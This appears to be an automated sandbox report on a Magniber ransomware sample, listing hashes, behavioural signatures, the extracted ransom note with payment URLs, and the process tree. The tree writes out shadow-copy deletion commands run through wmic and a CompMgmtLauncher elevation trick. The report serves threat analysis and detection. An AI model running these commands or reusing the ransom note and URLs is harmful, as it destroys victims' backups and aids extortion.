Overview

overview

10

Static

static

3ad0af44a4...a3.exe

windows7_x64

10

3ad0af44a4...a3.exe

windows10_x64

3

Analysis

  • max time kernel
    131s
  • max time network
    162s
  • platform
    windows7_x64
  • resource
    win7v20210408
  • submitted
    07-09-2021 15:59

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General

  • Target

    3ad0af44a4269c0121eeb19cee197a90b4a7e862b5ce04eab6aafc021dd6e7a3.exe

  • Size

    125KB

  • MD5

    f9bf85cfb68d9e5f68bbccaf683af15c

  • SHA1

    a2eae8c1350fcfa429d2af664d8320edbfabe5d3

  • SHA256

    463b34821a8eb219ff5980787d95bc2cfdd2d7f82720163394973814cd5dfe40

  • SHA512

    07032679f19bba5690b59a6b689859d0b3611995cca6f990d2eee4b2f586493b29e70b4525e057abefe79a86695fa934f52e175a12098e0eeef7c1e3d049066a

Score
10/10
magniberransomware

Malware Config

Extracted

Path

C:\Users\Admin\Desktop\readme.txt

Family

magniber

Ransom Note
ALL YOUR DOCUMENTS PHOTOS DATABASES AND OTHER IMPORTANT FILES HAVE BEEN ENCRYPTED! ==================================================================================================== Your files are NOT damaged! Your files are modified only. This modification is reversible. The only 1 way to decrypt your files is to receive the private key and decryption program. Any attempts to restore your files with the third party software will be fatal for your files! ==================================================================================================== To receive the private key and decryption program follow the instructions below: 1. Download "Tor Browser" from https://www.torproject.org/ and install it. 2. In the "Tor Browser" open your personal page here: http://5c90f04882607e909qwfekni.n5fnrf4l7bdjhelx.onion/qwfekni Note! This page is available via "Tor Browser" only. ==================================================================================================== Also you can use temporary addresses on your personal page without using "Tor Browser": http://5c90f04882607e909qwfekni.perages.cyou/qwfekni http://5c90f04882607e909qwfekni.aimdrop.fit/qwfekni http://5c90f04882607e909qwfekni.soblack.xyz/qwfekni http://5c90f04882607e909qwfekni.sixsees.club/qwfekni Note! These are temporary addresses! They will be available for a limited amount of time!
URLs

http://5c90f04882607e909qwfekni.n5fnrf4l7bdjhelx.onion/qwfekni

http://5c90f04882607e909qwfekni.perages.cyou/qwfekni

http://5c90f04882607e909qwfekni.aimdrop.fit/qwfekni

http://5c90f04882607e909qwfekni.soblack.xyz/qwfekni

http://5c90f04882607e909qwfekni.sixsees.club/qwfekni

Signatures

  • Magniber Ransomware

    Ransomware family widely seen in Asia being distributed by the Magnitude exploit kit.

    ransomwaremagniber
  • Process spawned unexpected child process 10 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomware
  • Modifies extensions of user files 7 IoCs

    Ransomware generally changes the extension on encrypted files.

    ransomware
  • Suspicious use of SetThreadContext 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Interacts with shadow copies 2 TTPs 5 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Modifies Internet Explorer settings 1 TTPs 44 IoCs
    adwarespyware
  • Modifies registry class 16 IoCs
  • Opens file in notepad (likely ransom note) 2 IoCs
    ransomware
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 3 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of SetWindowsHookEx 17 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1200
    • C:\Users\Admin\AppData\Local\Temp\3ad0af44a4269c0121eeb19cee197a90b4a7e862b5ce04eab6aafc021dd6e7a3.exe
      "C:\Users\Admin\AppData\Local\Temp\3ad0af44a4269c0121eeb19cee197a90b4a7e862b5ce04eab6aafc021dd6e7a3.exe"
      2⤵
      • Suspicious use of SetThreadContext
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of WriteProcessMemory
      PID:1948
      • C:\Windows\system32\cmd.exe
        cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1084
        • C:\Windows\system32\wbem\WMIC.exe
          C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
          4⤵
            PID:992
        • C:\Windows\system32\cmd.exe
          cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:1628
          • C:\Windows\system32\wbem\WMIC.exe
            C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
            4⤵
              PID:1152
        • C:\Windows\system32\cmd.exe
          cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1160
          • C:\Windows\system32\wbem\WMIC.exe
            C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:864
        • C:\Windows\system32\rundll32.exe
          "C:\Windows\system32\rundll32.exe" C:\Windows\system32\shell32.dll,OpenAs_RunDLL C:\Users\Admin\Desktop\GrantSelect.mpeg3
          2⤵
          • Modifies registry class
          PID:820
        • C:\Windows\system32\NOTEPAD.EXE
          "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\readme.txt
          2⤵
          • Opens file in notepad (likely ransom note)
          PID:412
      • C:\Windows\system32\Dwm.exe
        "C:\Windows\system32\Dwm.exe"
        1⤵
        • Modifies registry class
        • Suspicious use of WriteProcessMemory
        PID:1168
        • C:\Windows\system32\cmd.exe
          cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1256
          • C:\Windows\system32\wbem\WMIC.exe
            C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1640
      • C:\Windows\system32\taskhost.exe
        "taskhost.exe"
        1⤵
        • Modifies extensions of user files
        • Modifies registry class
        • Suspicious use of WriteProcessMemory
        PID:1116
        • C:\Windows\system32\notepad.exe
          notepad.exe C:\Users\Public\readme.txt
          2⤵
          • Opens file in notepad (likely ransom note)
          PID:1392
        • C:\Windows\system32\cmd.exe
          cmd /c "start http://5c90f04882607e909qwfekni.perages.cyou/qwfekni^&1^&37903891^&79^&377^&12"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1528
          • C:\Program Files\Internet Explorer\iexplore.exe
            "C:\Program Files\Internet Explorer\iexplore.exe" http://5c90f04882607e909qwfekni.perages.cyou/qwfekni&1&37903891&79&377&12
            3⤵
            • Modifies Internet Explorer settings
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of FindShellTrayWindow
            • Suspicious use of SetWindowsHookEx
            • Suspicious use of WriteProcessMemory
            PID:1804
            • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
              "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1804 CREDAT:275457 /prefetch:2
              4⤵
              • Modifies Internet Explorer settings
              • Suspicious use of SetWindowsHookEx
              PID:2124
            • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
              "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:1804 CREDAT:209945 /prefetch:2
              4⤵
              • Modifies Internet Explorer settings
              • Suspicious use of SetWindowsHookEx
              PID:2000
        • C:\Windows\system32\cmd.exe
          cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:788
          • C:\Windows\system32\wbem\WMIC.exe
            C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1808
      • C:\Windows\system32\cmd.exe
        cmd /c CompMgmtLauncher.exe
        1⤵
        • Process spawned unexpected child process
        • Suspicious use of WriteProcessMemory
        PID:1484
        • C:\Windows\system32\CompMgmtLauncher.exe
          CompMgmtLauncher.exe
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:2188
          • C:\Windows\system32\wbem\wmic.exe
            "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
            3⤵
              PID:2360
        • C:\Windows\system32\cmd.exe
          cmd /c CompMgmtLauncher.exe
          1⤵
          • Process spawned unexpected child process
          • Suspicious use of WriteProcessMemory
          PID:1000
          • C:\Windows\system32\CompMgmtLauncher.exe
            CompMgmtLauncher.exe
            2⤵
              PID:2136
              • C:\Windows\system32\wbem\wmic.exe
                "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
                3⤵
                  PID:2384
            • C:\Windows\system32\cmd.exe
              cmd /c CompMgmtLauncher.exe
              1⤵
              • Process spawned unexpected child process
              • Suspicious use of WriteProcessMemory
              PID:1488
              • C:\Windows\system32\CompMgmtLauncher.exe
                CompMgmtLauncher.exe
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:2148
                • C:\Windows\system32\wbem\wmic.exe
                  "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
                  3⤵
                    PID:2368
              • C:\Windows\system32\cmd.exe
                cmd /c CompMgmtLauncher.exe
                1⤵
                • Process spawned unexpected child process
                • Suspicious use of WriteProcessMemory
                PID:2024
                • C:\Windows\system32\CompMgmtLauncher.exe
                  CompMgmtLauncher.exe
                  2⤵
                    PID:2092
                    • C:\Windows\system32\wbem\wmic.exe
                      "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
                      3⤵
                        PID:2436
                  • C:\Windows\system32\cmd.exe
                    cmd /c CompMgmtLauncher.exe
                    1⤵
                    • Process spawned unexpected child process
                    • Suspicious use of WriteProcessMemory
                    PID:1528
                    • C:\Windows\system32\CompMgmtLauncher.exe
                      CompMgmtLauncher.exe
                      2⤵
                        PID:2160
                        • C:\Windows\system32\wbem\wmic.exe
                          "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
                          3⤵
                            PID:2376
                      • C:\Windows\system32\vssadmin.exe
                        vssadmin.exe Delete Shadows /all /quiet
                        1⤵
                        • Process spawned unexpected child process
                        • Interacts with shadow copies
                        PID:2652
                      • C:\Windows\system32\vssadmin.exe
                        vssadmin.exe Delete Shadows /all /quiet
                        1⤵
                        • Process spawned unexpected child process
                        • Interacts with shadow copies
                        PID:2676
                      • C:\Windows\system32\vssadmin.exe
                        vssadmin.exe Delete Shadows /all /quiet
                        1⤵
                        • Process spawned unexpected child process
                        • Interacts with shadow copies
                        PID:2668
                      • C:\Windows\system32\vssadmin.exe
                        vssadmin.exe Delete Shadows /all /quiet
                        1⤵
                        • Process spawned unexpected child process
                        • Interacts with shadow copies
                        PID:2660
                      • C:\Windows\system32\vssadmin.exe
                        vssadmin.exe Delete Shadows /all /quiet
                        1⤵
                        • Process spawned unexpected child process
                        • Interacts with shadow copies
                        PID:2748
                      • C:\Windows\system32\vssvc.exe
                        C:\Windows\system32\vssvc.exe
                        1⤵
                          PID:2840

                        Network

                        MITRE ATT&CK Enterprise v6

                        Replay Monitor

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                        Downloads

                        • memory/1116-71-0x0000000000450000-0x0000000000454000-memory.dmp

                          Filesize

                          16KB

                          Download

                        • memory/1392-73-0x000007FEFBBB1000-0x000007FEFBBB3000-memory.dmp

                          Filesize

                          8KB

                          Download

                        • memory/1948-65-0x0000000001F90000-0x0000000001F91000-memory.dmp

                          Filesize

                          4KB

                          Download

                        • memory/1948-67-0x0000000001FD0000-0x0000000001FD1000-memory.dmp

                          Filesize

                          4KB

                          Download

                        • memory/1948-70-0x0000000002000000-0x0000000002001000-memory.dmp

                          Filesize

                          4KB

                          Download

                        • memory/1948-66-0x0000000001FA0000-0x0000000001FA1000-memory.dmp

                          Filesize

                          4KB

                          Download

                        • memory/1948-62-0x0000000000300000-0x0000000000301000-memory.dmp

                          Filesize

                          4KB

                          Download

                        • memory/1948-68-0x0000000001FE0000-0x0000000001FE1000-memory.dmp

                          Filesize

                          4KB

                          Download

                        • memory/1948-64-0x0000000001F80000-0x0000000001F81000-memory.dmp

                          Filesize

                          4KB

                          Download

                        • memory/1948-69-0x0000000001FF0000-0x0000000001FF1000-memory.dmp

                          Filesize

                          4KB

                          Download

                        • memory/1948-63-0x0000000000310000-0x0000000000311000-memory.dmp

                          Filesize

                          4KB

                          Download

                        • memory/1948-99-0x0000000002370000-0x0000000002371000-memory.dmp

                          Filesize

                          4KB

                          Download

                        • memory/1948-59-0x0000000000020000-0x0000000000025000-memory.dmp

                          Filesize

                          20KB

                          Download

                        • memory/1948-60-0x00000000002E0000-0x00000000002E1000-memory.dmp

                          Filesize

                          4KB

                          Download

                        • memory/1948-61-0x00000000002F0000-0x00000000002F1000-memory.dmp

                          Filesize

                          4KB

                          Download

                        • memory/2124-117-0x0000000000B80000-0x0000000000B82000-memory.dmp

                          Filesize

                          8KB

                          Download

                        • memory/2124-106-0x0000000075FF1000-0x0000000075FF3000-memory.dmp

                          Filesize

                          8KB

                          Download